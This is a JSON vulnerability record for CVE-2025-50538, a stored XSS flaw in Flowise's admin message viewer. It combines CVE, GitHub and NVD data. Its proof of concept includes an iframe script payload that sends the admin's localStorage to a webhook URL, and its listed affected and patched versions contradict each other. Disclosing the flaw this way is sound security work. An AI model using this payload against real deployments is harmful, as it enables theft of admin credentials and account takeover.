{"id":"CVE-2025-50538","aliases":["CVE-2025-50538","GHSA-964p-j4gg-mhwc"],"related":[],"kind":"vulnerability","state":"published","title":"Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","summary":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","source":"cvelist"},{"lang":"en","text":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc=\"...\">` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent's chat interface:\n   ```html\n   <iframe srcdoc=\"<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>\">\n   ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `< 2.2.7`\n- **Patched versions:**`1`","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flowise antes de la versión 3.0.5 permite XSS a través de un elemento IFRAME cuando un administrador visualiza el registro de chat.","source":"nvd"}],"published":"2025-10-03T21:47:37.000Z","modified":"2026-10-09T10:10:00.193Z","severity":{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.0.5","status":"affected"}],"vendor":"FlowiseAI","product":"Flowise","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.0.8"}],"ecosystem":"npm","package":"flowise","purl":"pkg:npm/flowise","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.0.5"}],"vendor":"flowiseai","product":"flowise","cpe":"cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc","tags":["exploit","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/pull/4905","tags":["patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5","tags":["release-notes","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50538","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-10-06T13:53:34.214Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-50538","url":"https://www.cve.org/CVERecord?id=CVE-2025-50538","licence":"CVE Terms of Use","modified":"2025-10-06T13:53:37.852Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-964p-j4gg-mhwc","url":"https://github.com/advisories/GHSA-964p-j4gg-mhwc","licence":"CC-BY-4.0","modified":"2026-07-08T07:59:25.876Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-50538","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50538","licence":"Public domain","modified":"2026-10-09T10:10:00.193Z"}],"updatedAt":"2026-11-25T22:59:05.547Z","epss":{"score":0.16055,"percentile":0.96993,"date":"2026-12-01T12:00:22.000Z"}}